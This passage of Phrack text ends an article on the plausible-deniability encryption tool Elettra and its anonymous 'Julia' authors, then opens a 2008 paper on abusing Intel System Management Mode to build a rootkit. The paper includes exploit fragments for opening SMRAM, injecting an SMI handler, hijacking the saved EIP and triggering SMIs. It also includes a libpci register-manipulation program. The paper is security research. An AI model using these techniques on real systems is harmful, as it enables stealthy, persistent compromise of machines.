totalsize = totalsize + (GZ‑FILE‑LEN_n * PADDINDG% ) MAX‑EP_n = totalsize;

totalsize = totalsize + GZ‑FILE‑LEN_n

}

In this step we'll get the total length of the Elettra archive to build through using two arrays MIN‑EP[1..N], MAX‑EP[1..N] defined later.

Suppose to encrypt two elements:

/‑‑‑‑‑ GZ‑FILE‑LEN 1 ‑‑‑‑‑‑/ /‑‑‑‑‑ GZ‑FILE‑LEN 2 ‑‑‑‑‑/

+‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑

| | |

| R1 | GZ‑FILE1 | R2 | GZ‑FILE2 |

| | |

+‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑

^ ^ ^

| +‑‑‑ MAX‑EP1 MIN‑EP2 + |

+‑ MIN‑EP1 +‑‑ MAX‑EP2

R1 and R2 are two padding blocks. The dimension of these blocks depends on the padding % value, the size of the compressed file and a bit of random.

The entry point for identifying FILEn position MUST fall between MIN‑EP_n and MAX‑EP_n.

This second entry point is derived from KEY_n and so the keys KEY[1..N] are chosen in order to fulfill this requirement following the algorithm reported below:

for n in [1..N]:

{

for x in [1..10000]:

{

KEY_n = random()

HASHk_n = HASH(KEY_n)

EP_n = HASHk_n % totalsize

if( MIN‑EP_n < EP_n < MAX‑EP_n)

return KEY_n;

}

}

/‑‑‑‑‑ GZ‑FILE‑LEN 1 ‑‑‑‑‑/ /‑‑‑‑‑ GZ‑FILE‑LEN 2 ‑‑‑‑‑/

+‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑+‑‑‑

| | | |

| R | GZ‑FILE1 | R | R | GZ‑FILE2 | R | | 1 | | 2 | 3 | | 4 |

+‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑+‑‑‑

^ ^

| |

+‑‑EP1 MIN‑EP2‑‑+ + EP2 + B

R1 is the first block of random (from MIN‑EP1 to EP1)

R2 is the post file padding (from EP1 + GZ‑FILE‑LEN to MIN‑EP2)

Every file is written between two random sequences of padding blocks. The length of each padding sequence is random. Every length is plausible before and after a given file, because the attacker doesn't know the padding percentage requested at encryption time.

Now the algorithm has retrieve:

1) The length of inital keyblock

2) The entry points derived from the passwords

3) The keys

4) The padding sections

5) The internal structs used for keeping file names, file lengths and checksums saved before the file data just after EP_n

Now it's simply a matter of opening a file, writing the initial keyblock and the data section and save.

Decryption sequence for Elettra:

1) Password and input file are given

2) The password is hashed and this value (referred as HASHp) is used to search the initial keyblock size. The possible value are obtained with the following algorithm

for x in [1..80]:

try_size = 512 + ( 256 * x );

When the password is able to decrypt the first 32 bytes pointed by HASHp modulo try_size and to verify the internal checksum, the initial keyblock size is identified.

3) Read the key from the initial keyblock, decrypt it and evaluate its hash modulo the file total length.

4) Decrypt the first 32 bytes. If the checksum matchs, decrypt the file length, decompress it and rename it with its original name.

Conclusions about algorithm:

An analyst that will have to analyze files encrypted by using Elettra will not be able to make any assumption a priori, since the algorithm aims at behaving randomly in order to make any output plausible. Every Elettra output file should contain one or more file, and is plausible assume that only one file had been encrypred, because the padding before and after the decrypted file seem plausible random padding.

The security of this algorithm is based on the propriety of encrypted data to appear fully random over a statistical analysis. An attack which is able to detect the difference between compressed+encrypted data and random data could exploit Elettra.

An example of plausible deniability:

The analyst has found a 1.4Mb long file, encrypted by using Elettra. Using the user provided password, he extracts a .pdf file 2Mb long. Then, the following is plausible:

A: the user has ran Elettra with a 40% proportional padding. The file size was 2Mb and it has been compressed in 1 Mb. Before the beginning and after the end of the file a total of 400k bytes of random padding has been added.

But it is also likely that:

B: the user has used a 2Mb long .pdf as covert file and a 200k file of secret data. The compressed size of the .pdf was 1Mb, but the other file could not be compressed anymore, so its size stayed 200k. From 1Mb compressed .pdf + 200k of secret file and a 16% proportional padding it has been created the 1.4Mb resulting file.

Both cases are plausible: either way the analyst has a password that extracts a .pdf file 2Mb long that compresses in 1Mb. The analyst could then inspect which part of the file is decrypted, but the position of an encrypted file in the archive gives no information, since it is plausible that both before and after each file in the archive there is random data.

Elettra has been developed with these attacks and countermeasures in mind:

1) Files are encrypted with AES‑128, random padding is the output of SHA functions and it is also mathematically impossible to say if data is encrypted or just random noise;

2) It is not possible to make assumptions based on the final size of the archive (e.g. verifying if the padding is a whole quantity or a fraction is useless because the proportional increase of dimension supplied by the user is not used as is, but a new value is derived from it;

3) Checksums used to verify integrity of passwords are implemented, and are checked before the decryption of files;

4) In algorithms that work in CBC mode, first bytes are initialized with random data to make cryptography stronger;

5) The probability distribution of random data is equal at the beginning and at end of the encrypted file.

6) Minimum password length is 6 bytes.

7) Disclose a password or a key doesn't give to the attacker any information useful for attacks.

Elettra counts more or less 1600 lines of source code. Every other coder could have found other ways to accomplish the same task, even less complex than the one presented in this article that requires to remember multiple different passwords. In such kind of program there is always room for improvements. The important thing to think about is that in a couple of weeks somebody could develop something unforseen and unexpected by laws, but still perfectly legal.

‑‑‑‑‑‑[ 4. THE ANONYMOUS IDENTITY: julia@winstonsmith.info

The name Julia comes from the novel "1984", as the whole Winston Smith Project. Julia shows to Winnie the way, the tools and the motives for freedom. Thus, this Julia ‑ just when the Internet is fighting for its freedom ‑ wants to be the one who demonstrates how laws written by politicians are incoherent, inconsistent, unnecessary.

Spreading techniques aimed to the human rights protection on the Internet have a goal that is not related to personal visibility. On the contrary, in some cases personal safety can be endangered by the spreading of the technique. Thus, other spreading techniques have to be evaluated.

We created an anonymous group identity to have a single reference point (a name, a keyword, an ideal). This experiment brings us some advantages: ‑ Visibility is obtained as a collective effort, and can survive the single work

‑ Coders minimize legal and personal risks

‑ Both individual confrontation and preservation of one's identity inside the group are diminished

‑ At the moment there is no central blog or web site, as centralizing means being exposed to the risk of being censored, attacked or to draw unneeded attention

‑ The collective identity identifies itself through a digital signature, and media can be distributed using p2p, web sites, blogs, usenet. The most choices we have, the most options we can consider. ‑ We are a network made up of people around the world with the skills, the knowledge and the ability to deeply understand problems related with our countries.

Those who want to team up with julia@winstonsmith.info can write an email message (we strongly suggest using an anonymous remailer or TOR and a throw away email address).

The anonymous identity will not have a web site to express itself, Elettra gets served from url http://www.winstonsmith.info/julia/elettra.

Please note that this is done just for convenience, and has no relationship with the anonymous identity.

The only way to verify the authenticity of the source is the digital signature of media using the following key:

‑‑‑‑‑BEGIN PGP PUBLIC KEY BLOCK‑‑‑‑‑

Version: GnuPG v1.4.7 (Darwin)

mQGiBEdqIL0RBAChcjI1XSCY6uBj8tt822t3QAIrbUgIL1f+fknclPHPQqjyv+DI H793WaP2TlJ0mPNJqK2D8pyhO1l8MMzZIzNq+86zblogLklYUo68LbznUPJYNl0f 5Idg6DoNHO7JyXxU1aKq15sLD92izRX5g6Jx7V14DTP/gIB+vZjtcykBZwCgmqC1 YZv/KKVtoSyX/QR0YdJk5ecEAJPurJEm82wshma7RxuOL5UDBhRR4WUBquYa5L35 rTeswSZ/5MFAX4G3VWNb28RZMcDKrd2XIbPA/NI8uVNPEmtmdrF4bA7IGYYPmwuz SsL3MN0YcDdh8slrqNBuBFNsH95xm4FQKWc+rPPYvZVSsLBosJz9OXPJJYVh61X8 KDSzA/9bovS6D8e02en5t3XScUSBdU4GCHqqgRLpbfTECSXm2KhA2TtnSQ84lqCL eKs4i955xmF6vQ3bZIATpohSPBz/CdvVPcwNIffVxAwX4bDJDdkXkvd2prWibBJ4 VSzcNVfyvRgYGbrTjq7Aok1f3d/GCQz0oMzGLhs8ZY0xkRNJD7Q0anVsaWEgKGFu b255bW91cyBpZGVudGl0eSkgPGp1bGlhQHdpbnN0b25zbWl0aC5pbmZvPohgBBMR AgAgBQJHaiC9AhsDBgsJCAcDAgQVAggDBBYCAwECHgECF4AACgkQ83466PEEGF9S BgCeIrFkSGSUlOYhXZCNcGmmMrB1h1wAnRUL6+VOQ0SxbYTnTpDIMgGwA3byuQL1 BEdqIL0QC6C3T5hpVjgCTHUjbhu/gql/hHQV0u6av5fDGAYZmQPcDRYb5FP76+Kp 6DDLsSDo95DG1STO8QjRNrrz8tOftC6+F4kMxh1KvcyWEeam8GxYMytpQwDN2Nqr J3tV9Q24Nv4wUd7vHNqBlcJKeWyQGxBzebelBgAOyMb4YsIGEZJgR4F+o1R2jQYW rcNPp11aJtxyl2dApaHulzEjMCIDNKnJpbi4lLuqGVaht5NMypxsRnclb1Nw87VY jrhyJNGT4tojm7ERzJjNLUenTgda788ivWIse68t5WHh7BIGMyNiMKMGjI2R81ei c+M+O/wL59eh6EGv7V3nZz6qB07f8i3fsNgUF1YFrB2nHtEQTWvb62oGZG+OP5Fp tGyNhH3HN1VhBRg0eGSEZCGFHZU2chGyOPMqynfsf7o8dkNi8+Ydd0eIn3TlH6of Xy/TqlQAWS5BUhBX7CEpiO1XPh07o2FLyRPQiElSJ3inCh4sOde/vuFp7RMAAwYL n3i13almOtHB4qz0J4h/J8TgDaHYmAidYRpr9m6LpKysomHNrtj2U0Am2DmjI25H LvkOECX9x9yp98WGlzOllZA++YnCSpuG4b03VsLPqmD/r/VdcXrli5cs+UB7O8L2 2P19L+RO89+SieDEKHrKbfkkM3w4OJ+5/mfxejNfoRh0/GBJgoWGj+h/dChmvE7O alCFDJ5q8Q1QyHMNbMuZxfub+TnpINeHkwiMeaFZRcmaBtjb7T3J+EPf0dUtxXBQ 0F8RzypLEI8FLV/SU+pkynCkp2o6wnRVs8Lms6xci1WE1asr+2Xp9vLN4ppIfo6x reYKegPcFAw21UuBx6c7OKzEwRFB0OUSGS1Mdzt0ekq2j6Axk5WVShsDcdW+SI5N fKKqSCWSQE9dbekHUXpBkkbI85uJ2F6QOtMFEJGlw5XTAvJyuamVqXyq6SE5AyVL bQ9bfCtizrCOn3h547m7nm6RQ+3JfnCVjJqB9eFtP6WFIsDKKIhJBBgRAgAJBQJH aiC9AhsMAAoJEPN+OujxBBhf16YAnRJLQTTY6JiJGDJG4f2JJFUxereAAJ9hXs0P /yO+HtkGHnfSuwoaRvSQdw==

=+vKf

‑‑‑‑‑END PGP PUBLIC KEY BLOCK‑‑‑‑‑

Whoever shares the objectives of the Julia project can contact the address julia@winstonsmith.info (anonymously or not).

Future objectives are not clear, still.

It would be interesting to put together a list of all the world's laws and the technologies which render them useless. Somewhere this activity may be seen as misdemeanor incitement, that's why we choose an anonymous identity, and no fixed media to publish material.

Julia was not born by the will of a single person, but because we felt the need of other people to be able to share and give information and techologies that can help build freedom of expression, privacy rights, technological awareness. Julia is just a landmark, whoever shares the same aims can pursue them without it.

No vendor and no State, however much we can respect it, can rule the Internet. Open technologies belong to everybody.

‑‑‑‑‑‑‑[ 5. REFERENCES

[1] http://www.torproject.org/docs/tor‑hidden‑service.html.en

[2] http://en.wikipedia.org/wiki/Freenet

[3] http://www.andrebacard.com/remail.html

[4] http://pajhome.org.uk/crypt/sda/index.html

[5] http://www.autistici.org/en/who/rplan/index.html

http://dev.autistici.org/orangebook/

[6] http://www.opsi.gov.uk/acts/acts2000/ukpga_20000023_en_8

[7] http://www.cl.cam.ac.uk/~rja14/Papers/jsac98‑limsteg.pdf

[8] http://en.wikipedia.org/wiki/Rubber‑hose_cryptanalysis

[9] http://en.wikipedia.org/wiki/TrueCrypt

[10] http://en.wikipedia.org/wiki/Off‑the‑Record_Messaging

System Management Mode Hacks

==Phrack Inc.==

Volume 0x0c, Issue 0x41, Phile #0x07 of 0x0f

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ System Management Mode Hack ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=| |=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ Using SMM for "Other Purposes" ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ By BSDaemon ]=‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ <bsdaemon *noSPAM* risesecurity_org> ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ coideloko ]=‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ <cdlk *noSPAM* kernelhacking_com>]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ D0nAnd0n ]=‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ <d0nand0n *noSPAM* kernelhacking.com>]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ March 29 2008 ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

"Very nice! How much?"

‑ Borat Sagdyiev

‑‑‑‑‑‑[ Index

1 ‑ Introduction

1.1 ‑ Paper structure

2 ‑ System Management Mode

2.1 ‑ Pentium modes of operation

2.2 ‑ SMM Overview

2.2.1 ‑ SMRAM

2.2.2 ‑ SMI Handler

2.2.3 ‑ SMI Triggering

2.2.4 ‑ Duflot discovery ‑ Exploit

2.3 ‑ Duflot misses

2.3.1 ‑ PCI Configuration

2.3.2 ‑ Why and when the system generates a SMI

2.4 ‑ SMM Internals ‑ Our first experiences

2.4.1 ‑ Analysing the SMM registers

2.4.2 ‑ SMM Details

3 ‑ SMM for evil purposes

3.1 ‑ Challenges

3.1.1 ‑ Cache‑originated overwrites

3.1.2 ‑ SMM Locking

3.1.3 ‑ Portability

3.1.4 ‑ Address translation

3.2 ‑ Copying our code in the SMM space

3.2.1 ‑ Testing

3.2.2 ‑ Descriptor caches

3.2.3 ‑ Code relocation

4 ‑ SMM Manipulation Library

5 ‑ Future and other uses

6 ‑ Acknowledgements

7 ‑ References

8 ‑ Sources ‑ Implementation details

‑‑‑‑‑‑[ 1 ‑ Introduction

This article will try to explain some details about the Intel Architecture [1] and how it can be manipulated by a malicious user to create a complete hardware‑protected malware.

Also, since the main focus of the article are the System Management Mode [1] features, we will go into details of the Duflot [2] study and beyond, showing how to create a stable system running inside the SMM [3].

It's important to mention that everything showed here is really processor‑bridges‑dependent (we are focusing on Intel processors [1]).

Since inside the SMM a malware could manipulate the whole system memory, it can be used to modify kernel structures and create a powerful rootkit.

‑‑‑[ 1.1 ‑ Paper structure

The idea of this paper is to complete the studies about SMM, explaning how to use it for evil purposes.

For that, the paper have been structured in two important portions:

Chapter 2 will give a basic knowledge of the Pentium modes of operation (needed to better understand the other portions of the chapter) and them will introduce what was the Duflot discoveries related to that. After that the chapter will explain what Duflot missed, explaining why the system behaves in the way that permits our uses, and introducing the SMM internals and our library to manipulate the SMM.

Chapter 3 will explain how to use the SMM for evil purposes, explaning the challenges to use the SMM and giving pratical samples on the use of our library.

‑‑‑‑‑‑[ 2 ‑ System Management Mode

From the Intel manuals [1]:

"The Intel System Management Mode (SMM) is typically used to execute specific routines for power management. After entering SMM, various parts of a system can be shut down or disabled to minimize power consumption. SMM operates independently of other system software, and can be used for other purposes too."

Everytime we read something like "and can be used for other purposes" we start to think: what the hell? What kind of other purposes?

It's interesting that every single sample in the Internet just points to energy‑related uses of the SMM, and says nothing about other purposes.

In 2006, Duflot and others [2] released a paper about how to use the SMM to circumvent operating system protections. It was the first time that a misuse of the SMM was shown, and it gave some ideas (like how to put a code in SMM, how to manipulate the system memory inside SMM and how to force a system to enter the SMM), leaving open many questions that will be answered here (how to create a really stable code to subvert the SMM, how to manipulate the SMM registers, difficulties in create a stable system running inside the SMM and why the system behaves in the way he just said in the paper).

‑‑‑[ 2.1 ‑ Pentium modes of operation

Everybody already knows about the modes of operation of the P6 family of processors.

Real‑mode is a 16‑bit addressing mode, keept for legacy purposes and nowadays just used in the boot process. Protected mode is a 32‑bit mode and provides the protection model used by the modern operation systems.

The Virtual 8086 mode have been introduced to garantee greater efficiency when running programs created for older architectures (such as 8086 and 8088).

The System Management Mode (SMM) is another mode of operation that, as already said, is supposed to be used to manage power functions.

Volume 3 of the Intel processor manuals [1] already explained the acceptable transitions between those modes:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ SMI (interrupt)

|‑>|Real Address Mode| ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ <‑‑‑‑‑‑‑‑‑‑

| | PE=1 ^ PE=0 (requires ring0) or |rsm or |

| v | reset |reset V

| ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

reset | | Protected Mode | ‑‑‑‑‑‑‑> SMI (interrupt) ‑‑‑‑‑‑> | SMM Mode |

| ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ <‑‑‑‑‑‑‑ rsm instruction <‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑

| | VM=1 ^ VM=0 |

| v | rsm |

| ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ <‑‑‑‑‑‑‑‑‑‑

|‑ |Virtual 8086 Mode| ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ SMI (interrupt)

P.S.: PE and VM are flags of the CR0 (control register 0)

Basically what we need to get from here is:

‑ Any mode of operation in the intel platform can make a transition to the SMM mode if an SMI interrupt is issued.

‑ SMM mode will return to the previous mode by issuing a rsm instruction (so the processor will read a saved‑state to restore the system to the previous situation before enter the SMM).

‑‑‑[ 2.2 ‑ SMM Overview

First of all, when the system enters the SMM mode, the whole processor context must be saved in a way so that it can be restored later. By doing so, the processor can enter in a special execution context and start executing the SMI handler. To return from this mode there is the special instruction RSM (can be used just inside the SMM itself) that will read the saved context and return to the previous situation).

Also, in SMM the paging is disabled and you have a 16‑bit mode of operation , but all physical memory can be addressed (more on this later).

There are no restrictions to the I/O ports or memory, so we have the same privileges as in Ring 0 (in fact, from SMM someone can just manipulate all the system memory).

What Duflot showed is a way to put your own SMI handler, force the processor to enter the SMM mode, change the system memory to bypass a security protection (in his case, the securelevel of an OpenBSD system) and then execute his own code changing the saved context to point to it.

‑‑‑[ 2.2.1 ‑ SMRAM

The System Management Mode has a dedicated memory zone called SMRAM. It's located in the 0x1FFFF bytes starting at SMBASE (it may be bigger if the system activates Extented SMRAM).

The default value of SMBASE is 0x30000, but since modern chipsets offer relocation, it's commonly seen as 0xA0000 (BIOS relocates it to the same memory‑mapped base address used by the I/O ports of the video card).

As spotted by Duflot, the memory controller hub has a control register called SMRAM Control Register that offers a bit (D_OPEN ‑ bit 6) that, when it's set, makes all memory accesses to the address space starting at SMBASE be redirected to SMRAM.

If the processor is not in the SMM mode and the D_OPEN bit is not set, all accesses to the SMRAM memory range are forwarded to the video card (when it have been relocated to the shared address as said) ‑ giving a protection to the SMRAM, which we will use later to protect the malware). Else, if the D_OPEN bit is set, the memory addressed will be the SMRAM.

Another important thing he showed concerning the handler is the bit number 4 (D_LCK) of the SMRAM Control Register, which, when set, protects the SMRAM control register and thus, the SMRAM memory itself, if the D_OPEN bit was not set at the time the control register was locked. To change it, the system needs to reboot (which gives us a challenge, since most modern BIOS will lock it).

It's well detailed in the Intel Manuals, but the fact that a super‑user could write to it using the video device and then force a SMI to be triggered was really new.

When entering the SMM the processor will jump to the pysical address SMBASE+0x8000 (which means that the SMI handler must be located at the offset 0x8000 inside the SMRAM). Since when the D_OPEN bit is set we can put some code in the SMRAM, we just need to force an SMI trigger to get our code executed.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

SMBASE+0x1FFFF | |

| |

| |

| |

SMBASE+0xFFFF ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| |

| State save area |

| |

SMBASE+0xFE00 ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| |

| Code,Heap,Stack |

| |

SMBASE+0x8000 ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑> First SMI Handler instruction

| |

| |

| |

SMBASE=0xA0000 ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑‑[ 2.2.2 ‑ SMI handler

Since we will set the D_OPEN bit we need some way to avoid the display usage, since all access to the video memory will be forwarded to SMRAM and not to the video card. Duflot does not explain how it is possible, since his sample was for OpenBSD and it assumed there was no one using the video card (he showed an exploit for an OpenBSD problem but as a requisite, there is no one using the X, for example).

In our samples, we will also show how to manipulate the registers directly, but we will use the libpci [4] to guarantee no problems with this (since the libpci uses the system interfaces to manipulate the PCI subsystem avoiding race conditions in the resource usage). It's also more portable, because libpci as we will show supports a lot of different operating systems.

So, to insert the handler the attacker needs to:

‑ Verify if the D_LCK bit is not set

‑ Set the D_OPEN bit

‑ Have access to the memory address space (in the sample, 0xA0000‑0xBFFFF)

To access the memory we can just mmap the memory range using the /dev/mem device, because it provides access to the physical address space (instead of the virtual vision provided by the /dev/kmem for example).

‑‑‑[ 2.2.3 ‑ SMI Triggering

Since the SMI signal is a hardware‑generated interrupt there is no instruction to generate it by software. The chipset may generate it, but _when_ it does depends on the chipset [5][6].

Duflot also already explained in his paper the SMI_EN register, where the least significant bit is a global enable, specifying whether SMIs are enabled or not (the other bits of SMI_EN then control which devices can generate an SMI).

The SMI_STS register keeps track of which device last caused an SMI.

These registers can be accessed using the regular PCI mechanisms ("in" and "out"). The position of those register are variable, but they are in a relative address to PMBASE (SMI_EN=PMBASE+0x30 and SMI_STS=PMBASE+0x34).

The PMBASE can be accessed using bus 0, device 0x1F, function 0 and offset 0x40.

More details of the PCI configuration mechanisms in the section 2.3.1.

‑‑‑[ 2.2.4 ‑ Duflot discovery ‑ Exploit

In his paper Duflot & friends showed a working exploit against OpenBSD. This will be our first code to be analyzed (also attached with small modifications to work on Linux).

As can be seen, the code will have problems if there is an X Server running ,since it just forwards all video memory access to the SMRAM.

Since the Linux operating system (as most of unixes) provides a way to rise the I/O privilege level in the user‑mode, the exploit is using that in a way it can use the instructions in/out:

if(iopl(3) < 0) {

To get access to the SMRAM, the D_OPEN bit must be set: outl(data1, 0xcf8);

outl(data2, 0xcfc);

Also here, we can easily see that, in the handler, it is doing the following:

addr32 mov $test, %eax

mov %eax, %cs:0xfff0

Here we have that the offset 0xfff0 is the saved EIP in the saved‑state map inside the SMRAM. By doing so, it is just putting the address of a function in the saved‑state map, so when the system triggers the rsm instruction it will return to protected mode, but now executing the test() function (the saved EIP).

Duflot discovered that accessing the Programmed I/O Port 0xB2 with the bit 5 of SMI_EN set will generate an SMI:

outl(0x0000000f, 0xb2);

For sure it's really funny... but what else can be done with that?

‑‑‑[ 2.3 ‑ Duflot misses

In his paper Duflot does not explain how the PCI Configuration really works (for example, he just pointed to use the port 0xCF8 for address and port 0xCFC to perform the operation itself). Also, he never said when and why the system generates a SMI. The idea of use the SMM to manipulate the system memory can also be really expanded, to create a malware running inside the SMM, or to bypass boot‑protections and many others (like create a system protection mechanism running on it).

The rest of this chapter and the next one will show many details about how the SMM works and what we can use inside the SMM. Also, will better explain how to analyse the system and create a portable library to manipulate the SMM‑related registers.

‑‑‑[ 2.3.1 ‑ PCI Configuration

The original PCI specification [11] defined two mechanisms for i386 PCs, but later specifications deprecated one of these ways. Since this specification is not free, we highly recommend you to read a book about that [12].

Basically, you have two I/O port ranges: one associated to the address port (0xCF8‑0xCFB) and the other to the data port (0xCFC‑0xCFF).

To configure a device, you must write to the address port which device and register you want to access and then read/write the data from/to the data port.

The rule about the format of the data written to the address port is as following:

Bits Description

0..1 00b (always 0)

2..7 Which 32‑bit space in the config space to access

8..10 Device function

11..15 Device Number

A complete list of PCI vendors and devices can be found in [13].

PCI devices have an address which is broken down into a PCI‑bus number, a device number within that bus (values 0‑31), and a function number within the device (values 0‑7).

Since a single sample is more valuable, to access a register REG in the bus:device:function PCI space you will need to use the following address: 0x80000000L | ((bus & 0xFF) << 16) |

((((unsigned)device) & 0x1F) << 11) |

((((unsigned)func) & 0x07) << 8) | (REG & 0xFC);

In each PCI device's configuration space there's normally one or more BARs (Base Address Registers), which can be used to set or find the address in physical memory or in I/O space of each resource the card uses.

‑‑‑[ 2.3.2 ‑ When and why the system generates a SMI

All memory transactions (read/write memory access) from the CPU are placed on the host bus to be consumed by some device.

Potentially the CPU itself would decode a range (of memory) such as the Local APIC range, and the transaction would be satisfied before needing to be placed on the external bus at all.

If the CPU does not claim the transaction (don't decode), then it must be sent out. In a typical Intel architecture, the transaction would next be decoded by the MCH (Memory Controller Hub) and be either claimed as an address that the MCH owns, or it's determining based on decoders that the transaction is not owned by the MCH and thus should be forwarded on to the next possible device in the chain.

If the memory controller does not find the address to be within actual DRAM, then it looks to see if it falls within one of the other I/O ranges it owns (ISA, EISA, PCI).

Depending on how old the system is, the memory controller may directly decode PCI transactions (instead of pass that to the I/O bridges), for example.

If the MCH determines that the transaction does not belong to it, the transaction will be forwarded down to whatever I/O bridge(s) may be present in the system. This process of decoding for ownership / response or forwarding down if not owned repeats until the system runs out of potential agents.

The final outcome is either an agent claims the transaction and returns whatever data is present at the address, or no one claims the address and an abort occurs to the transaction, typically resulting in 0FFFFFFFFh data being returned.

In some situations (Duflot paper's case), some addresses (for example those falling within the 0A0000h ‑ 0BFFFFh range) are owned by two different devices (VGA frame buffer and system memory). This will force the architecture to send a SMI signal to satisfy the transaction.

If no SMI is asserted, then the transaction is ultimately passed over by the memory controller, so that the VGA controller (if present) can claim it.

If the SMI signal is asserted when the transaction is received by the memory controller, then the transaction will be forwarded to the DRAM unit for fetching the data from physical memory (executing our handler).

‑‑‑[ 2.4 ‑ SMM Internals ‑ Our first experiences

Here we will clarify some important details about SMM and how it works. This will be important to better understand the attached library.

‑‑‑[ 2.4.1 ‑ Analyzing the SMM registers

Let's start by analyzing the SMM using libpci, so we can have more stability doing this.

The following code is known to work fine in ICH5 and ICH3M controllers.

‑‑‑ code ‑‑‑

#include <stdio.h>

#include <pci/pci.h>

#include <sys/io.h>

/* Defines ‑ bit positions (will be used in more samples) */

#define D_OPEN_BIT (0x01 << 6)

#define D_CLS_BIT (0x01 << 5)

#define D_LCK_BIT (0x01 << 4)

#define G_SMRAME_BIT (0x01 << 3)

#define C_BASE_SEG2_BIT (0x01 << 2)

#define C_BASE_SEG1_BIT (0x01 << 1)

#define C_BASE_SEG0_BIT (0x01)

/* Function to print SMRAM registers */

void show_smram(struct pci_dev* SMRAM)

{

u8 smram_value;

/* Provided by libpci */

smram_value = pci_read_byte(SMRAM, SMRAM_OFFSET);

if(smram_value & D_OPEN_BIT) { printf("D_OPEN_BIT: 1\n");

} else {

printf("D_OPEN_BIT: 0\n");

}

if(smram_value & D_CLS_BIT) { printf("D_CLS_BIT: 1\n");

} else {

printf("D_CLS_BIT: 0\n");

}

if(smram_value & D_LCK_BIT) { printf("D_LCK_BIT: 1\n");

} else {

printf("D_LCK_BIT: 0\n");

}

if(smram_value & G_SMRAME_BIT) { printf("G_SMRAME_BIT: 1\n");

} else {

printf("G_SMRAME_BIT: 0\n");

}

if(smram_value & C_BASE_SEG2_BIT) { printf("C_BASE_SEG2_BIT: 1\n");

} else {

printf("C_BASE_SEG2_BIT: 0\n");

}

if(smram_value & C_BASE_SEG1_BIT) { printf("C_BASE_SEG1_BIT: 1\n");

} else {

printf("C_BASE_SEG1_BIT: 0\n");

}

if(smram_value & C_BASE_SEG0_BIT) { printf("C_BASE_SEG0_BIT: 1\n");

} else {

printf("C_BASE_SEG0_BIT: 0\n");

}

printf("\n");

}

int main(void) {

struct pci_access *pacc;

struct pci_dev *SMRAM;

/* Provided by libpci */

pacc = pci_alloc();

pci_init(pacc);

SMRAM = pci_get_dev(pacc, 0, 0, 0, 0);

printf("Current status of SMRAM:\n"); show_smram(SMRAM);

printf("Setting D_OPEN to 1\n"); pci_write_byte(SMRAM, SMRAM_OFFSET, 0x4a); show_smram(SMRAM);

printf("Locking SMRAM\n"); pci_write_byte(SMRAM, SMRAM_OFFSET, 0x1a); show_smram(SMRAM);

printf("Trying to set D_OPEN to 0\n"); pci_write_byte(SMRAM, SMRAM_OFFSET, 0x0a); show_smram(SMRAM);

return 0;

}

‑‑‑ end code ‑‑‑

Compile this using:

gcc ‑o brazil_smm1 brazil_smm1.c ‑lpci ‑lz

